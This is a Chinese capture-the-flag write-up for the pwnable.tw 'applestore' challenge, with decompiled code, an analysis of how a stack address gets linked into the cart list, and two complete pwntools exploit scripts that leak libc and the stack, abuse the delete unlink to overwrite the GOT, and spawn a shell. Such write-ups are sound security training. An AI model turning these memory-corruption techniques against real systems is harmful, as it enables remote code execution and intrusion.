pwnable.tw applestore

0x10 程序分析

32位动态链接库文件

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

恢复结构体后对函数分析

结构体

typedef struct Device{
	char * name;
	int price;
	char * next_thing;
	char * priv_thing;
}device;

程序主要提供了5个功能,分别对应增删查改

unsigned int handler() { char nptr; // [esp+16h] [ebp-22h] unsigned int v2; // [esp+2Ch] [ebp-Ch] v2 = __readgsdword(0x14u); while ( 1 ) { printf("> "); fflush(stdout); my_read(&nptr, 0x15u); switch ( atoi(&nptr) ) { case 1: list(); // menu break; case 2: add(); // input 1-5 break; case 3: delete(); // remove card // break; case 4: cart(); break; case 5: checkout(); break; case 6: puts("Thank You for Your Purchase!"); return __readgsdword(0x14u) ^ v2; default: puts("It's not a choice! Idiot."); break; } } }

查看Add函数

unsigned int add() { Device *v1; // [esp+1Ch] [ebp-2Ch] char nptr; // [esp+26h] [ebp-22h] unsigned int v3; // [esp+3Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Device Number> "); fflush(stdout); my_read(&nptr, 0x15u); switch ( atoi(&nptr) ) { case 1: v1 = create("iPhone 6", 0xC7); // iphone 6 0xc7 0 0 insert(v1); // mycard = malloc(0x10) goto LABEL_8; case 2: v1 = create("iPhone 6 Plus", 0x12B); insert(v1); goto LABEL_8; case 3: v1 = create("iPad Air 2", 0x1F3); insert(v1); goto LABEL_8; case 4: v1 = create("iPad Mini 3", 0x18F); insert(v1); goto LABEL_8; case 5: v1 = create("iPod Touch", 0xC7); insert(v1); LABEL_8: printf("You've put *%s* in your shopping cart.\n", v1->name); puts("Brilliant! That's an amazing idea."); break; default: puts("Stop doing that. Idiot!"); break; } return __readgsdword(0x14u) ^ v3; }

Add函数中调用了Create函数分配了一个大小为0x19的chunk

0 chunk_size
name price
next_thing priv_thing

然后调用insert函数

Device *__cdecl insert(Device *a1) { Device *result; // eax Device *i; // [esp+Ch] [ebp-4h] for ( i = &myCart; i->next_thing; i = i->next_thing ) ; i->next_thing = a1; result = a1; a1->prev_thing = i; return result; }

将chunk插入到一个双向的链表中

然后我们看Delete函数

unsigned int delete() { signed int v1; // [esp+10h] [ebp-38h] Device *card; // [esp+14h] [ebp-34h] int v3; // [esp+18h] [ebp-30h] Device *v4; // [esp+1Ch] [ebp-2Ch] Device *v5; // [esp+20h] [ebp-28h] char nptr; // [esp+26h] [ebp-22h] unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u); v1 = 1; card = dword_804B070; printf("Item Number> "); fflush(stdout); my_read(&nptr, 0x15u); v3 = atoi(&nptr); while ( card ) { if ( v1 == v3 ) { v4 = card->next_thing; v5 = card->prev_thing; if ( v5 ) v5->next_thing = v4; if ( v4 ) v4->prev_thing = v5; printf("Remove %d:%s from your shopping cart.\n", v1, card->name); return __readgsdword(0x14u) ^ v7; } ++v1; card = card->next_thing; } return __readgsdword(0x14u) ^ v7; }

Delete函数将物品从双向链表中移除

Cart函数

int cart() { signed int v0; // eax signed int v2; // [esp+18h] [ebp-30h] int v3; // [esp+1Ch] [ebp-2Ch] Device *i; // [esp+20h] [ebp-28h] char buf; // [esp+26h] [ebp-22h] unsigned int v6; // [esp+3Ch] [ebp-Ch] v6 = __readgsdword(0x14u); v2 = 1; v3 = 0; printf("Let me check your cart. ok? (y/n) > "); fflush(stdout); my_read(&buf, 0x15u); if ( buf == 'y' ) { puts("==== Cart ===="); for ( i = dword_804B070; i; i = i->next_thing ) { v0 = v2++; printf("%d: %s - $%d\n", v0, i->name, i->price); v3 += i->price; } } return v3; }

checkout函数

unsigned int checkout() { int v1; // [esp+10h] [ebp-28h] char *v2; // [esp+18h] [ebp-20h] int v3; // [esp+1Ch] [ebp-1Ch] unsigned int v4; // [esp+2Ch] [ebp-Ch] v4 = __readgsdword(0x14u); v1 = cart(); if ( v1 == 0x1C06 ) { puts("*: iPhone 8 - $1"); asprintf(&v2, "%s", "iPhone 8"); v3 = 1; insert(&v2); v1 = 0x1C07; } printf("Total: $%d\n", v1); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ v4; }

checkout函数会检查链表中所有物品的总价值是否为0x1c06,如果是则会直接将v2加入链表,不同于其他物品的加入,v2是一个栈上的地址,而其他物品是在堆上的

那么就会形成这样一个链表假如堆地址为:0x804c158

0x804c158 <-> 0x804c158+0x19<-> 0x804c158+0x19+0x19 <-> stack addr 

而我们是可以控制栈地址的值的

0x20 利用思路

  1. 触发总价值为0x1c06,使栈地址加入链表
  2. 修改栈地址指针

我们可以发现v2 的地址为ebp - 0x20 ,进入其他函数后我们的输入地址为ebp - 0x22 因此我们是可以修改到v2的指针的

泄漏地址ROP:

y\x00 <--ebp -0x22
puts_got <--- ebp - 0x20
0
0
0

Len(payload) = 0x12 < 0x15

此时由于:

*(dev->name) = puts_got 
printf("%d: %s - $%d\n", v0, i->name, i->price);

因此libc地址会被打印出来

泄漏出libc之后我们要考虑如何劫持程序流使我们可以修改got表或者ebp的值

使用Delete 函数来劫持ebp到got表

如果我们将指针修改为这样:

0
0
atoi_got
ebp

在执行Delete函数时会这样:

      v4 = card->next_thing; // v4 = atoi_got
      v5 = card->prev_thing; // v5 = ebp
      if ( v5 )
        v5->next_thing = v4; // ebp = atoi_got
      if ( v4 )
        v4->prev_thing = v5; // atoi_got  = ebp 

因此我们还需要泄漏ebp的值

这里可以通过泄漏environ 来实现

y\x00 <--ebp -0x22
environ <--- ebp - 0x20
0
0
0

然后Delete(27)构造unlink

0
0
p32(atoi_got+0x22)
p32(ebp)

此时ebp被修改到atoi的got表处,delete函数返回 指针指到atoi_got ,输入数据,程序调用atoi完成利用

atoi_got <-ebp
system <- ebp

getshell

system
/bin/sh\x00

0x30 finalexp

#/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="./applestore" context.update(arch = 'x86', os = 'linux') elf=ELF(proc) libc = ELF("./libc_32.so.6") def choice(operand): sh.sendlineafter("> ",str(operand)) def Add(index): choice(2) sh.sendafter("> ",str(index)) def Delete(index): choice(3) sh.sendafter("> ",str(index)) def Show(): choice(4) sh.sendafter("Let me check your cart. ok? (y/n) >","y") def Checkout(): choice(5) sh.sendafter("Let me check your cart. ok? (y/n) >","y") def pwn(ip,port,debug): global sh if debug==1: context.log_level="debug" sh=process(proc) else: context.log_level="debug" sh=remote(ip,port) for i in range(6): Add(1) for i in range(20): Add(2) puts_got = elf.got['puts'] Checkout() choice(4) sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(puts_got)+p32(0)*3) sh.recvuntil("27: ") puts = u32(sh.recv(4)) libc_base = puts - libc.symbols["puts"] log.info("puts:"+hex(puts)) system_addr = libc_base + libc.symbols["system"] env = libc_base + libc.symbols["environ"] choice(4) sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(env)+p32(0)*3) sh.recvuntil("27: ") ebp = u32(sh.recv(4)) -0x104 - 0x8 sh.sendafter("> ","3") sh.sendafter("> ","27" + p32(0) * 2 + p32(elf.got['atoi'] + 0x22) + p32(ebp)) sh.sendafter("> ",p32(system_addr)+";/bin/sh\x00") sh.sendline("cat /home/applestore/flag") # gdb.attach(sh) # payload= sh.interactive() if __name__ =="__main__": pwn("chall.pwnable.tw",10104,0)

One_gaget:

#/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="./applestore" context.update(arch = 'x86', os = 'linux') elf=ELF(proc) libc = ELF("./libc_32.so.6") def choice(operand): sh.sendlineafter("> ",str(operand)) def Add(index): choice(2) sh.sendafter("> ",str(index)) def Delete(index): choice(3) sh.sendafter("> ",str(index)) def Show(): choice(4) sh.sendafter("Let me check your cart. ok? (y/n) >","y") def Checkout(): choice(5) sh.sendafter("Let me check your cart. ok? (y/n) >","y") def pwn(ip,port,debug): global sh if debug==1: context.log_level="debug" sh=process(proc) else: context.log_level="debug" sh=remote(ip,port) for i in range(6): Add(1) for i in range(20): Add(2) puts_got = elf.got['puts'] Checkout() choice(4) sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(puts_got)+p32(0)*3) sh.recvuntil("27: ") puts = u32(sh.recv(4)) libc_base = puts - libc.symbols["puts"] log.info("puts:"+hex(puts)) system_addr = libc_base + libc.symbols["system"] env = libc_base + libc.symbols["environ"] choice(4) sh.sendafter("Let me check your cart. ok? (y/n) >","y\x00"+p32(env)+p32(0)*3) sh.recvuntil("27: ") ebp = u32(sh.recv(4)) -0x104 - 0x8 sh.sendafter("> ","3") sh.sendafter("> ","27" + p32(0) * 2 + p32(elf.got['puts'] + 0x22) + p32(ebp)) sh.sendafter("> ",p32(libc_base + 0x3a819 )) sh.sendline("cat /home/applestore/flag") # gdb.attach(sh) # payload= sh.interactive() if __name__ =="__main__": pwn("chall.pwnable.tw",10104,0) """ 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL """